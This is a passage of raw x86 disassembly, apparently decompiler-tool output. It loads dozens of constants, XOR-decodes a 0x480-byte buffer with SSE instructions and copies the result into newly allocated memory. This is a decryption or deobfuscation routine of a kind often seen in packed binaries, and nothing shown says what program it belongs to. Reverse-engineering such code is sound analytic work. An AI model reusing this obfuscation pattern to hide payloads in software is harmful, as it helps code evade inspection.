mov dword [esi + 0x1f4], ecx
mov dword [esi + 0x1f0], eax
mov eax, 0xbb573a84
mov ecx, 0xa864ff75
mov dword [esi + 0x1fc], ecx
mov dword [esi + 0x1f8], eax
mov eax, 0xcd193cfd
mov ecx, 0x704bff26
mov dword [esi + 0x204], ecx
mov dword [esi + 0x200], eax
mov eax, 0xff786d1e
mov ecx, 0x3f3bac97
mov dword [esi + 0x20c], ecx
mov dword [esi + 0x208], eax
mov eax, 0xfaf62d7
mov ecx, 0xc06d9eb0
mov dword [esi + 0x214], ecx
mov dword [esi + 0x210], eax
mov eax, 0x300d56f8
mov ecx, 0xdeecc49
mov dword [esi + 0x21c], ecx
mov dword [esi + 0x218], eax
mov eax, 0xace19de1
mov ecx, 0x6b642d7a
mov dword [esi + 0x224], ecx
mov dword [esi + 0x220], eax
mov eax, 0xb7faec92
mov ecx, 0x2c2c4dbb
mov dword [esi + 0x22c], ecx
mov dword [esi + 0x228], eax
mov eax, 0x71f208eb
mov ecx, 0x3c82ae04
mov dword [esi + 0x234], ecx
mov dword [esi + 0x230], eax
mov eax, 0xdef29ec
mov ecx, 0x7680006d
mov dword [esi + 0x23c], ecx
mov dword [esi + 0x238], eax
mov eax, 0xeea38ce5
mov ecx, 0x7ae90b3e
mov dword [esi + 0x244], ecx
mov dword [esi + 0x240], eax
mov eax, 0xe80d57c6
mov ecx, 0xc16fabcf
mov dword [esi + 0x24c], ecx
mov dword [esi + 0x248], eax
mov eax, 0xc7a3ec7f
mov ecx, 0x47f6e508
mov dword [esi + 0x254], ecx
mov dword [esi + 0x250], eax
mov eax, 0xc6f49b80
mov ecx, 0xc3546761
mov dword [esi + 0x25c], ecx
mov dword [esi + 0x258], eax
mov eax, 0xb3a53069
mov ecx, 0x66471952
mov dword [esi + 0x264], ecx
mov dword [esi + 0x260], eax
mov eax, 0xb979101a
mov ecx, 0x5e65bd3
mov dword [esi + 0x26c], ecx
mov dword [esi + 0x268], eax
mov eax, 0xd7c3a6b3
mov ecx, 0x4138b89c
mov dword [esi + 0x274], ecx
mov dword [esi + 0x270], eax
mov eax, 0x80257e14
mov ecx, 0x85a7d925
mov dword [esi + 0x27c], ecx
mov dword [esi + 0x278], eax
mov eax, 0x72b05f0d
mov ecx, 0x26e64e56
mov dword [esi + 0x284], ecx
mov dword [esi + 0x280], eax
mov eax, 0x62da08ae
mov ecx, 0xc09180c7
mov dword [esi + 0x28c], ecx
mov dword [esi + 0x288], eax
mov eax, 0x57def4e7
mov ecx, 0x95675460
mov dword [esi + 0x294], ecx
mov dword [esi + 0x290], eax
mov eax, 0x5bdf1388
mov ecx, 0xb39b5579
mov dword [esi + 0x29c], ecx
mov dword [esi + 0x298], eax
mov eax, 0x5d7dd771
mov ecx, 0xdeb3852a
mov dword [esi + 0x2a4], ecx
mov dword [esi + 0x2a0], eax
mov eax, 0x68f72da2
mov ecx, 0x8410d8eb
mov dword [esi + 0x2ac], ecx
mov dword [esi + 0x2a8], eax
mov eax, 0x1dbfafb
mov ecx, 0x5a278bb4
mov dword [esi + 0x2b4], ecx
mov dword [esi + 0x2b0], eax
mov eax, 0x9220527c
mov ecx, 0xf823539d
mov dword [esi + 0x2bc], ecx
mov dword [esi + 0x2b8], eax
mov eax, 0x9eff22f5
mov ecx, 0xf6d6cc6e
mov dword [esi + 0x2c4], ecx
mov dword [esi + 0x2c0], eax
mov eax, 0xded2f2d6
mov ecx, 0x5932877f
mov dword [esi + 0x2cc], ecx
mov dword [esi + 0x2c8], eax
mov eax, 0x70413e8f
mov ecx, 0x9fdb7038
mov dword [esi + 0x2d4], ecx
mov dword [esi + 0x2d0], eax
mov eax, 0xc2cd2f10
mov ecx, 0x8d556391
mov dword [esi + 0x2dc], ecx
mov dword [esi + 0x2d8], eax
mov eax, 0x175557f9
mov ecx, 0x99d73182
mov dword [esi + 0x2e4], ecx
mov dword [esi + 0x2e0], eax
mov eax, 0x9e4f632a
mov ecx, 0x4e58c803
mov dword [esi + 0x2ec], ecx
mov dword [esi + 0x2e8], eax
mov eax, 0x2302fe43
mov ecx, 0x74fd1ecc
mov dword [esi + 0x2f4], ecx
mov dword [esi + 0x2f0], eax
mov eax, 0x67b3f7a4
mov ecx, 0x7a5752d5
mov dword [esi + 0x2fc], ecx
mov dword [esi + 0x2f8], eax
mov eax, 0x1ae5111d
mov ecx, 0xf0e74a86
mov dword [esi + 0x304], ecx
mov dword [esi + 0x300], eax
mov eax, 0xeb0f8be
mov ecx, 0x9dd45a77
mov dword [esi + 0x30c], ecx
mov dword [esi + 0x308], eax
mov eax, 0x1d829bf7
mov ecx, 0x88c9b690
mov dword [esi + 0x314], ecx
mov dword [esi + 0x310], eax
mov eax, 0x2f285898
mov ecx, 0x65e232a9
mov dword [esi + 0x31c], ecx
mov dword [esi + 0x318], eax
mov eax, 0xb1733b81
mov ecx, 0x41a9f2da
mov dword [esi + 0x324], ecx
mov dword [esi + 0x320], eax
mov eax, 0xe06afe32
mov ecx, 0xbfd0e41b
mov dword [esi + 0x32c], ecx
mov dword [esi + 0x328], eax
mov eax, 0x7759cf0b
mov ecx, 0x376a6564
mov dword [esi + 0x334], ecx
mov dword [esi + 0x330], eax
mov eax, 0x175e778c
mov ecx, 0xfe0e124d
mov dword [esi + 0x33c], ecx
mov dword [esi + 0x338], eax
mov eax, 0x153cb905
mov ecx, 0xa91da99e
mov dword [esi + 0x344], ecx
mov dword [esi + 0x340], eax
mov eax, 0x8872d0e6
mov ecx, 0xbc28f52f
mov dword [esi + 0x34c], ecx
mov dword [esi + 0x348], eax
mov eax, 0xa7d2e89f
mov ecx, 0x933dd268
mov dword [esi + 0x354], ecx
mov dword [esi + 0x350], eax
mov eax, 0x32ed6220
mov ecx, 0x55bbc941
mov dword [esi + 0x35c], ecx
mov dword [esi + 0x358], eax
mov eax, 0x789df309
mov ecx, 0x76cc8c32
mov dword [esi + 0x364], ecx
mov dword [esi + 0x360], eax
mov eax, 0x22e4fd3a
mov ecx, 0x75367f33
mov dword [esi + 0x36c], ecx
mov dword [esi + 0x368], eax
mov eax, 0x688bdfd3
mov ecx, 0x2a209fc
mov dword [esi + 0x374], ecx
mov dword [esi + 0x370], eax
mov eax, 0x801b9534
mov ecx, 0x979ece85
mov dword [esi + 0x37c], ecx
mov dword [esi + 0x378], eax
mov eax, 0x2a8573ad
mov ecx, 0xe3fc2db6
mov dword [esi + 0x384], ecx
mov dword [esi + 0x380], eax
mov eax, 0x63dc974e
mov ecx, 0x8a43f627
mov dword [esi + 0x38c], ecx
mov dword [esi + 0x388], eax
mov eax, 0x1973c607
mov ecx, 0x3b1093c0
mov dword [esi + 0x394], ecx
mov dword [esi + 0x390], eax
mov eax, 0x51955fa8
mov ecx, 0xadd82bd9
mov dword [esi + 0x39c], ecx
mov dword [esi + 0x398], eax
mov eax, 0xa5084091
mov ecx, 0xb4d8d0a
mov dword [esi + 0x3a4], ecx
mov dword [esi + 0x3a0], eax
mov eax, 0x19b0ab42
mov ecx, 0xcc15ad4b
mov dword [esi + 0x3ac], ecx
mov dword [esi + 0x3a8], eax
mov eax, 0x54d1911b
mov ecx, 0x2bbc7d14
mov dword [esi + 0x3b4], ecx
mov dword [esi + 0x3b0], eax
mov eax, 0xcd569c9c
mov ecx, 0xf26029fd
mov dword [esi + 0x3bc], ecx
mov dword [esi + 0x3b8], eax
mov eax, 0x5b77d295
mov ecx, 0x71840f4e
mov dword [esi + 0x3c4], ecx
mov dword [esi + 0x3c0], eax
mov eax, 0xb0e7e6f6
mov ecx, 0x991e4fdf
mov dword [esi + 0x3cc], ecx
mov dword [esi + 0x3c8], eax
mov eax, 0x1f10f42f
mov ecx, 0x943c6318
mov dword [esi + 0x3d4], ecx
mov dword [esi + 0x3d0], eax
mov eax, 0x742eb430
mov ecx, 0x62009271
mov dword [esi + 0x3dc], ecx
mov dword [esi + 0x3d8], eax
mov eax, 0x9f8b1999
mov ecx, 0x29136962
mov dword [esi + 0x3e4], ecx
mov dword [esi + 0x3e0], eax
mov eax, 0xb14250ca
mov ecx, 0xa5cfbb63
mov dword [esi + 0x3ec], ecx
mov dword [esi + 0x3e8], eax
mov eax, 0x8f790663
mov ecx, 0xb4e8e72c
mov dword [esi + 0x3f4], ecx
mov dword [esi + 0x3f0], eax
mov eax, 0xc2b0e4c4
mov ecx, 0xfa953c35
mov dword [esi + 0x3fc], ecx
mov dword [esi + 0x3f8], eax
mov eax, 0xd472e73d
mov ecx, 0xc27c3be6
mov dword [esi + 0x404], ecx
mov dword [esi + 0x400], eax
mov eax, 0x6d2175e
mov ecx, 0x916be957
mov dword [esi + 0x40c], ecx
mov dword [esi + 0x408], eax
mov eax, 0x17090d17
mov ecx, 0x129ddb70
mov dword [esi + 0x414], ecx
mov dword [esi + 0x410], eax
mov eax, 0x37670138
mov ecx, 0x601f0909
mov dword [esi + 0x41c], ecx
mov dword [esi + 0x418], eax
mov eax, 0xb43b4821
mov ecx, 0xbd946a3a
mov dword [esi + 0x424], ecx
mov dword [esi + 0x420], eax
mov eax, 0xbf5496d2
mov ecx, 0x7e5c8a7b
mov dword [esi + 0x42c], ecx
mov dword [esi + 0x428], eax
mov eax, 0x794bb32b
mov ecx, 0x8eb2eac4
mov dword [esi + 0x434], ecx
mov dword [esi + 0x430], eax
mov eax, 0x1548d42c
mov ecx, 0xc8b03d2d
mov dword [esi + 0x43c], ecx
mov dword [esi + 0x438], eax
mov eax, 0xf5fd3725
mov ecx, 0xcd1947fe
mov dword [esi + 0x444], ecx
mov dword [esi + 0x440], eax
mov eax, 0xef670206
mov ecx, 0x139fe88f
mov dword [esi + 0x44c], ecx
mov dword [esi + 0x448], eax
mov eax, 0xcefd96bf
mov ecx, 0x9a2721c8
mov dword [esi + 0x454], ecx
mov dword [esi + 0x450], eax
mov eax, 0xce4e45c0
mov ecx, 0x1584a421
mov dword [esi + 0x45c], ecx
mov dword [esi + 0x458], eax
mov eax, 0xbafedaa9
mov ecx, 0xb8775612
mov dword [esi + 0x464], ecx
mov dword [esi + 0x460], eax
mov eax, 0xc0d2ba5a
mov ecx, 0x58169893
mov dword [esi + 0x46c], ecx
mov dword [esi + 0x468], eax
mov eax, 0xdf1d50f3
mov ecx, 0x9368f55c
mov dword [esi + 0x474], ecx
mov dword [esi + 0x470], eax
mov eax, 0x877f2854
mov ecx, 0xd7d815e5
mov dword [esi + 0x47c], ecx
mov dword [esi + 0x478], eax
mov eax, 0x7a0a094d
mov ecx, 0x79168b16
mov dword [esi + 0x484], ecx
mov dword [esi + 0x480], eax
mov eax, 0x6a33b2ee
mov ecx, 0x12c1bd87
mov dword [esi + 0x48c], ecx
mov dword [esi + 0x488], eax
mov eax, 0x5f389f27
mov ecx, 0xe7979120
mov dword [esi + 0x494], ecx
mov dword [esi + 0x490], eax
mov eax, 0x6338bdc8
mov ecx, 0x5cb9239
mov dword [esi + 0x49c], ecx
mov dword [esi + 0x498], eax
mov eax, 0x64d781b1
mov ecx, 0x30e3c1ea
mov dword [esi + 0x4a4], ecx
mov dword [esi + 0x4a0], eax
mov eax, 0x7050d7e2
mov ecx, 0xd64115ab
mov dword [esi + 0x4ac], ecx
mov dword [esi + 0x4a8], eax
mov eax, 0x935a53b
mov ecx, 0xac57c874
mov dword [esi + 0x4b4], ecx
mov dword [esi + 0x4b0], eax
mov eax, 0x9979fcbc
mov ecx, 0x4a53905d
mov dword [esi + 0x4bc], ecx
mov dword [esi + 0x4b8], eax
mov eax, 0xa658cd35
mov ecx, 0x4907092e
mov dword [esi + 0x4c4], ecx
mov dword [esi + 0x4c0], eax
mov eax, 0xe62c9d16
mov ecx, 0xab62c43f
mov dword [esi + 0x4cc], ecx
mov dword [esi + 0x4c8], eax
mov eax, 0x779ae8cf
mov ecx, 0xf20bacf8
mov dword [esi + 0x4d4], ecx
mov dword [esi + 0x4d0], eax
mov eax, 0xca26d950
mov ecx, 0xdf85a051
mov dword [esi + 0x4dc], ecx
mov dword [esi + 0x4d8], eax
mov eax, 0x1eaf0239
mov ecx, 0xec076e42
mov dword [esi + 0x4e4], ecx
mov dword [esi + 0x4e0], eax
mov eax, 0xa5a90d6a
mov ecx, 0xa08904c3
mov dword [esi + 0x4ec], ecx
mov dword [esi + 0x4e8], eax
mov eax, 0x2a5ca883
mov ecx, 0xc72d5b8c
mov dword [esi + 0x4f4], ecx
mov dword [esi + 0x4f0], eax
mov eax, 0x6f0da1e4
mov ecx, 0xcc878f95
mov dword [esi + 0x4fc], ecx
mov dword [esi + 0x4f8], eax
mov eax, 0x223ebb5d
mov ecx, 0x43178746
mov dword [esi + 0x504], ecx
mov dword [esi + 0x500], eax
mov eax, 0x160aa2fe
mov ecx, 0xf0049737
mov dword [esi + 0x50c], ecx
mov dword [esi + 0x508], eax
mov eax, 0x24dc4637
mov ecx, 0xdaf9f350
mov dword [esi + 0x514], ecx
mov dword [esi + 0x510], eax
mov eax, 0x368202d8
mov ecx, 0xb8126f69
mov dword [esi + 0x51c], ecx
mov dword [esi + 0x518], eax
mov eax, 0xb8cce5c1
mov ecx, 0x93da2f9a
mov dword [esi + 0x524], ecx
mov dword [esi + 0x520], eax
mov eax, 0x120120db
mov ecx, 0xe7c4a872
mov dword [esi + 0x52c], eax
mov dword [esi + 0x528], ecx
lea ebx, [esi + 0xb0]
mov eax, ebx
xor ecx, ecx
movaps xmm0, xmmword [esi + 0x50]
xorps xmm0, xmmword [eax]
movaps xmmword [esi + 0x50], xmm0
movaps xmm0, xmmword [esi + 0xa0]
xorps xmm0, xmmword [eax + 0x10]
movaps xmmword [esi + 0xa0], xmm0
movaps xmm0, xmmword [esi + 0x90]
xorps xmm0, xmmword [eax + 0x20]
movaps xmmword [esi + 0x90], xmm0
movaps xmm0, xmmword [esi + 0x900]
xorps xmm0, xmmword [eax + 0x30]
movaps xmmword [esi + 0x900], xmm0
movaps xmm0, xmmword [esi + 0x8f0]
xorps xmm0, xmmword [eax + 0x40]
movaps xmmword [esi + 0x8f0], xmm0
movaps xmm0, xmmword [esi + 0x8e0]
xorps xmm0, xmmword [eax + 0x50]
movaps xmmword [esi + 0x8e0], xmm0
movaps xmm0, xmmword [esi + 0x8d0]
xorps xmm0, xmmword [eax + 0x60]
movaps xmmword [esi + 0x8d0], xmm0
movaps xmm0, xmmword [esi + 0x8c0]
xorps xmm0, xmmword [eax + 0x70]
movaps xmmword [esi + 0x8c0], xmm0
movaps xmm0, xmmword [esi + 0x8b0]
xorps xmm0, xmmword [eax + 0x80]
movaps xmmword [esi + 0x8b0], xmm0
movaps xmm0, xmmword [esi + 0x8a0]
xorps xmm0, xmmword [eax + 0x90]
movaps xmmword [esi + 0x8a0], xmm0
movaps xmm0, xmmword [esi + 0x890]
xorps xmm0, xmmword [eax + 0xa0]
movaps xmmword [esi + 0x890], xmm0
movaps xmm0, xmmword [esi + 0x880]
xorps xmm0, xmmword [eax + 0xb0]
movaps xmmword [esi + 0x880], xmm0
movaps xmm0, xmmword [esi + 0x870]
xorps xmm0, xmmword [eax + 0xc0]
movaps xmmword [esi + 0x870], xmm0
movaps xmm0, xmmword [esi + 0x860]
xorps xmm0, xmmword [eax + 0xd0]
movaps xmmword [esi + 0x860], xmm0
movaps xmm0, xmmword [esi + 0x850]
xorps xmm0, xmmword [eax + 0xe0]
movaps xmmword [esi + 0x850], xmm0
movaps xmm0, xmmword [esi + 0x840]
xorps xmm0, xmmword [eax + 0xf0]
movaps xmmword [esi + 0x840], xmm0
movaps xmm0, xmmword [esi + 0x830]
xorps xmm0, xmmword [eax + 0x100]
movaps xmmword [esi + 0x830], xmm0
movaps xmm0, xmmword [esi + 0x820]
xorps xmm0, xmmword [eax + 0x110]
movaps xmmword [esi + 0x820], xmm0
movaps xmm0, xmmword [esi + 0x810]
xorps xmm0, xmmword [eax + 0x120]
movaps xmmword [esi + 0x810], xmm0
movaps xmm0, xmmword [esi + 0x800]
xorps xmm0, xmmword [eax + 0x130]
movaps xmmword [esi + 0x800], xmm0
movaps xmm0, xmmword [esi + 0x7f0]
xorps xmm0, xmmword [eax + 0x140]
movaps xmmword [esi + 0x7f0], xmm0
movaps xmm0, xmmword [esi + 0x7e0]
xorps xmm0, xmmword [eax + 0x150]
movaps xmmword [esi + 0x7e0], xmm0
movaps xmm0, xmmword [esi + 0x7d0]
xorps xmm0, xmmword [eax + 0x160]
movaps xmmword [esi + 0x7d0], xmm0
movaps xmm0, xmmword [esi + 0x7c0]
xorps xmm0, xmmword [eax + 0x170]
movaps xmmword [esi + 0x7c0], xmm0
movaps xmm0, xmmword [esi + 0x7b0]
xorps xmm0, xmmword [eax + 0x180]
movaps xmmword [esi + 0x7b0], xmm0
movaps xmm0, xmmword [esi + 0x7a0]
xorps xmm0, xmmword [eax + 0x190]
movaps xmmword [esi + 0x7a0], xmm0
movaps xmm0, xmmword [esi + 0x790]
xorps xmm0, xmmword [eax + 0x1a0]
movaps xmmword [esi + 0x790], xmm0
movaps xmm0, xmmword [esi + 0x780]
xorps xmm0, xmmword [eax + 0x1b0]
movaps xmmword [esi + 0x780], xmm0
movaps xmm0, xmmword [esi + 0x770]
xorps xmm0, xmmword [eax + 0x1c0]
movaps xmmword [esi + 0x770], xmm0
movaps xmm0, xmmword [esi + 0x760]
xorps xmm0, xmmword [eax + 0x1d0]
movaps xmmword [esi + 0x760], xmm0
movaps xmm0, xmmword [esi + 0x750]
xorps xmm0, xmmword [eax + 0x1e0]
movaps xmmword [esi + 0x750], xmm0
movaps xmm0, xmmword [esi + 0x740]
xorps xmm0, xmmword [eax + 0x1f0]
movaps xmmword [esi + 0x740], xmm0
movaps xmm0, xmmword [esi + 0x730]
xorps xmm0, xmmword [eax + 0x200]
movaps xmmword [esi + 0x730], xmm0
movaps xmm0, xmmword [esi + 0x720]
xorps xmm0, xmmword [eax + 0x210]
movaps xmmword [esi + 0x720], xmm0
movaps xmm0, xmmword [esi + 0x710]
xorps xmm0, xmmword [eax + 0x220]
movaps xmmword [esi + 0x710], xmm0
movaps xmm0, xmmword [esi + 0x700]
xorps xmm0, xmmword [eax + 0x230]
movaps xmmword [esi + 0x700], xmm0
movaps xmm0, xmmword [esi + 0x6f0]
xorps xmm0, xmmword [eax + 0x240]
movaps xmmword [esi + 0x6f0], xmm0
movaps xmm0, xmmword [esi + 0x6e0]
xorps xmm0, xmmword [eax + 0x250]
movaps xmmword [esi + 0x6e0], xmm0
movaps xmm0, xmmword [esi + 0x6d0]
xorps xmm0, xmmword [eax + 0x260]
movaps xmmword [esi + 0x6d0], xmm0
movaps xmm0, xmmword [esi + 0x6c0]
xorps xmm0, xmmword [eax + 0x270]
movaps xmmword [esi + 0x6c0], xmm0
movaps xmm0, xmmword [esi + 0x6b0]
xorps xmm0, xmmword [eax + 0x280]
movaps xmmword [esi + 0x6b0], xmm0
movaps xmm0, xmmword [esi + 0x6a0]
xorps xmm0, xmmword [eax + 0x290]
movaps xmmword [esi + 0x6a0], xmm0
movaps xmm0, xmmword [esi + 0x690]
xorps xmm0, xmmword [eax + 0x2a0]
movaps xmmword [esi + 0x690], xmm0
movaps xmm0, xmmword [esi + 0x680]
xorps xmm0, xmmword [eax + 0x2b0]
movaps xmmword [esi + 0x680], xmm0
movaps xmm0, xmmword [esi + 0x670]
xorps xmm0, xmmword [eax + 0x2c0]
movaps xmmword [esi + 0x670], xmm0
movaps xmm0, xmmword [esi + 0x660]
xorps xmm0, xmmword [eax + 0x2d0]
movaps xmmword [esi + 0x660], xmm0
movaps xmm0, xmmword [esi + 0x650]
xorps xmm0, xmmword [eax + 0x2e0]
movaps xmmword [esi + 0x650], xmm0
movaps xmm0, xmmword [esi + 0x640]
xorps xmm0, xmmword [eax + 0x2f0]
movaps xmmword [esi + 0x640], xmm0
movaps xmm0, xmmword [esi + 0x630]
xorps xmm0, xmmword [eax + 0x300]
movaps xmmword [esi + 0x630], xmm0
movaps xmm0, xmmword [esi + 0x620]
xorps xmm0, xmmword [eax + 0x310]
movaps xmmword [esi + 0x620], xmm0
movaps xmm0, xmmword [esi + 0x610]
xorps xmm0, xmmword [eax + 0x320]
movaps xmmword [esi + 0x610], xmm0
movaps xmm0, xmmword [esi + 0x600]
xorps xmm0, xmmword [eax + 0x330]
movaps xmmword [esi + 0x600], xmm0
movaps xmm0, xmmword [esi + 0x5f0]
xorps xmm0, xmmword [eax + 0x340]
movaps xmmword [esi + 0x5f0], xmm0
movaps xmm0, xmmword [esi + 0x5e0]
xorps xmm0, xmmword [eax + 0x350]
movaps xmmword [esi + 0x5e0], xmm0
movaps xmm0, xmmword [esi + 0x5d0]
xorps xmm0, xmmword [eax + 0x360]
movaps xmmword [esi + 0x5d0], xmm0
movaps xmm0, xmmword [esi + 0x5c0]
xorps xmm0, xmmword [eax + 0x370]
movaps xmmword [esi + 0x5c0], xmm0
movaps xmm0, xmmword [esi + 0x5b0]
xorps xmm0, xmmword [eax + 0x380]
movaps xmmword [esi + 0x5b0], xmm0
movaps xmm0, xmmword [esi + 0x5a0]
xorps xmm0, xmmword [eax + 0x390]
movaps xmmword [esi + 0x5a0], xmm0
movaps xmm0, xmmword [esi + 0x590]
xorps xmm0, xmmword [eax + 0x3a0]
movaps xmmword [esi + 0x590], xmm0
movaps xmm0, xmmword [esi + 0x580]
xorps xmm0, xmmword [eax + 0x3b0]
movaps xmmword [esi + 0x580], xmm0
movaps xmm0, xmmword [esi + 0x570]
xorps xmm0, xmmword [eax + 0x3c0]
movaps xmmword [esi + 0x570], xmm0
movaps xmm0, xmmword [esi + 0x560]
xorps xmm0, xmmword [eax + 0x3d0]
movaps xmmword [esi + 0x560], xmm0
movaps xmm0, xmmword [esi + 0x550]
xorps xmm0, xmmword [eax + 0x3e0]
movaps xmmword [esi + 0x550], xmm0
movaps xmm0, xmmword [esi + 0x540]
xorps xmm0, xmmword [eax + 0x3f0]
movaps xmmword [esi + 0x540], xmm0
movaps xmm0, xmmword [esi + 0x530]
xorps xmm0, xmmword [eax + 0x400]
movaps xmmword [esi + 0x530], xmm0
pxor xmm4, xmmword [eax + 0x410]
movdqa xmmword [esi + 0x960], xmm4
pxor xmm5, xmmword [eax + 0x420]
movdqa xmmword [esi + 0x950], xmm5
pxor xmm6, xmmword [eax + 0x430]
movdqa xmmword [esi + 0x940], xmm6
pxor xmm7, xmmword [eax + 0x440]
movdqa xmmword [esi + 0x930], xmm7
pxor xmm3, xmmword [eax + 0x450]
movdqa xmmword [esi + 0x920], xmm3
pxor xmm2, xmmword [eax + 0x460]
movdqa xmmword [esi + 0x910], xmm2
movaps xmm0, xmmword [esi + 0x10]
xorps xmm0, xmmword [eax + 0x470]
movaps xmmword [esi + 0x10], xmm0
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x44], 0
xor edi, edi
push 0x480
call fcn.00419422
add esp, 4
movaps xmm0, xmmword [esi + 0x50]
movups xmmword [eax], xmm0
movaps xmm0, xmmword [esi + 0xa0]
movups xmmword [eax + 0x10], xmm0
movaps xmm0, xmmword [esi + 0x90]
movups xmmword [eax + 0x20], xmm0
movaps xmm0, xmmword [esi + 0x900]
movups xmmword [eax + 0x30], xmm0
movaps xmm0, xmmword [esi + 0x8f0]
movups xmmword [eax + 0x40], xmm0
movaps xmm0, xmmword [esi + 0x8e0]
movups xmmword [eax + 0x50], xmm0
movaps xmm0, xmmword [esi + 0x8d0]
movups xmmword [eax + 0x60], xmm0
movaps xmm0, xmmword [esi + 0x8c0]
movups xmmword [eax + 0x70], xmm0
movaps xmm0, xmmword [esi + 0x8b0]
movups xmmword [eax + 0x80], xmm0
movaps xmm0, xmmword [esi + 0x8a0]
movups xmmword [eax + 0x90], xmm0
movaps xmm0, xmmword [esi + 0x890]
movups xmmword [eax + 0xa0], xmm0
movaps xmm0, xmmword [esi + 0x880]
movups xmmword [eax + 0xb0], xmm0
movaps xmm0, xmmword [esi + 0x870]
movups xmmword [eax + 0xc0], xmm0
movaps xmm0, xmmword [esi + 0x860]
movups xmmword [eax + 0xd0], xmm0
movaps xmm0, xmmword [esi + 0x850]
movups xmmword [eax + 0xe0], xmm0
movaps xmm0, xmmword [esi + 0x840]
movups xmmword [eax + 0xf0], xmm0
movaps xmm0, xmmword [esi + 0x830]
movups xmmword [eax + 0x100], xmm0
movaps xmm0, xmmword [esi + 0x820]
movups xmmword [eax + 0x110], xmm0
movaps xmm0, xmmword [esi + 0x810]
movups xmmword [eax + 0x120], xmm0
movaps xmm0, xmmword [esi + 0x800]
movups xmmword [eax + 0x130], xmm0
movaps xmm0, xmmword [esi + 0x7f0]
movups xmmword [eax + 0x140], xmm0
movaps xmm0, xmmword [esi + 0x7e0]
movups xmmword [eax + 0x150], xmm0
movaps xmm0, xmmword [esi + 0x7d0]
movups xmmword [eax + 0x160], xmm0
movaps xmm0, xmmword [esi + 0x7c0]
movups xmmword [eax + 0x170], xmm0
movaps xmm0, xmmword [esi + 0x7b0]
movups xmmword [eax + 0x180], xmm0
movaps xmm0, xmmword [esi + 0x7a0]
movups xmmword [eax + 0x190], xmm0
movaps xmm0, xmmword [esi + 0x790]
movups xmmword [eax + 0x1a0], xmm0
movaps xmm0, xmmword [esi + 0x780]
movups xmmword [eax + 0x1b0], xmm0
movaps xmm0, xmmword [esi + 0x770]
movups xmmword [eax + 0x1c0], xmm0
movaps xmm0, xmmword [esi + 0x760]
movups xmmword [eax + 0x1d0], xmm0
movaps xmm0, xmmword [esi + 0x750]
movups xmmword [eax + 0x1e0], xmm0
movaps xmm0, xmmword [esi + 0x740]
movups xmmword [eax + 0x1f0], xmm0
movaps xmm0, xmmword [esi + 0x730]
movups xmmword [eax + 0x200], xmm0
movaps xmm0, xmmword [esi + 0x720]
movups xmmword [eax + 0x210], xmm0
movaps xmm0, xmmword [esi + 0x710]
movups xmmword [eax + 0x220], xmm0
movaps xmm0, xmmword [esi + 0x700]
movups xmmword [eax + 0x230], xmm0
movaps xmm0, xmmword [esi + 0x6f0]
movups xmmword [eax + 0x240], xmm0
movaps xmm0, xmmword [esi + 0x6e0]
movups xmmword [eax + 0x250], xmm0
movaps xmm0, xmmword [esi + 0x6d0]
movups xmmword [eax + 0x260], xmm0
movaps xmm0, xmmword [esi + 0x6c0]
movups xmmword [eax + 0x270], xmm0
movaps xmm0, xmmword [esi + 0x6b0]
movups xmmword [eax + 0x280], xmm0
movaps xmm0, xmmword [esi + 0x6a0]
movups xmmword [eax + 0x290], xmm0
movaps xmm0, xmmword [esi + 0x690]
movups xmmword [eax + 0x2a0], xmm0
movaps xmm0, xmmword [esi + 0x680]
movups xmmword [eax + 0x2b0], xmm0
movaps xmm0, xmmword [esi + 0x670]
movups xmmword [eax + 0x2c0], xmm0
movaps xmm0, xmmword [esi + 0x660]
movups xmmword [eax + 0x2d0], xmm0
movaps xmm0, xmmword [esi + 0x650]
movups xmmword [eax + 0x2e0], xmm0
movaps xmm0, xmmword [esi + 0x640]
movups xmmword [eax + 0x2f0], xmm0
movaps xmm0, xmmword [esi + 0x630]
movups xmmword [eax + 0x300], xmm0
movaps xmm0, xmmword [esi + 0x620]
movups xmmword [eax + 0x310], xmm0
movaps xmm0, xmmword [esi + 0x610]
movups xmmword [eax + 0x320], xmm0
movaps xmm0, xmmword [esi + 0x600]
movups xmmword [eax + 0x330], xmm0
movaps xmm0, xmmword [esi + 0x5f0]
movups xmmword [eax + 0x340], xmm0
movaps xmm0, xmmword [esi + 0x5e0]
movups xmmword [eax + 0x350], xmm0
movaps xmm0, xmmword [esi + 0x5d0]
movups xmmword [eax + 0x360], xmm0
movaps xmm0, xmmword [esi + 0x5c0]
movups xmmword [eax + 0x370], xmm0
movaps xmm0, xmmword [esi + 0x5b0]
movups xmmword [eax + 0x380], xmm0
movaps xmm0, xmmword [esi + 0x5a0]
movups xmmword [eax + 0x390], xmm0
movaps xmm0, xmmword [esi + 0x590]
movups xmmword [eax + 0x3a0], xmm0
movaps xmm0, xmmword [esi + 0x580]
movups xmmword [eax + 0x3b0], xmm0
movaps xmm0, xmmword [esi + 0x570]
movups xmmword [eax + 0x3c0], xmm0
movaps xmm0, xmmword [esi + 0x560]
movups xmmword [eax + 0x3d0], xmm0
movaps xmm0, xmmword [esi + 0x550]
movups xmmword [eax + 0x3e0], xmm0
movaps xmm0, xmmword [esi + 0x540]
movups xmmword [eax + 0x3f0], xmm0
movaps xmm0, xmmword [esi + 0x530]
movups xmmword [eax + 0x400], xmm0
movaps xmm0, xmmword [esi + 0x960]
movups xmmword [eax + 0x410], xmm0
movaps xmm0, xmmword [esi + 0x950]
movups xmmword [eax + 0x420], xmm0
movaps xmm0, xmmword [esi + 0x940]
movups xmmword [eax + 0x430], xmm0
movaps xmm0, xmmword [esi + 0x930]
movups xmmword [eax + 0x440], xmm0
movaps xmm0, xmmword [esi + 0x920]
movups xmmword [eax + 0x450], xmm0
movaps xmm0, xmmword [esi + 0x910]
movups xmmword [eax + 0x460], xmm0
mov ecx, dword [esi + 0x18]
mov dword [eax + 0x478], ecx
mov dword [esi + 0x38], eax
movsd xmm0, qword [esi + 0x10]
movsd qword [eax + 0x470], xmm0
mov byte [eax + 0x47c], 0
mov eax, 0x96c324f5
mov ecx, 0x66942198
mov dword [esi + 0x14], ecx
mov dword [esi + 0x10], eax
mov eax, 0xe390cd48
mov ecx, 0xc48662af
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x18], eax
mov eax, 0xfac035d9
mov ecx, 0xa4dffdc1
mov dword [esi + 0x24], ecx
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x84]
mov dword [esi + 0xb4], eax
mov eax, dword [esi + 0x88]
mov dword [esi + 0xb0], eax
mov eax, dword [esi + 0x7c]
mov dword [esi + 0xbc], eax
mov eax, dword [esi + 0x80]
mov dword [esi + 0xb8], eax
mov eax, dword [esi + 0x74]
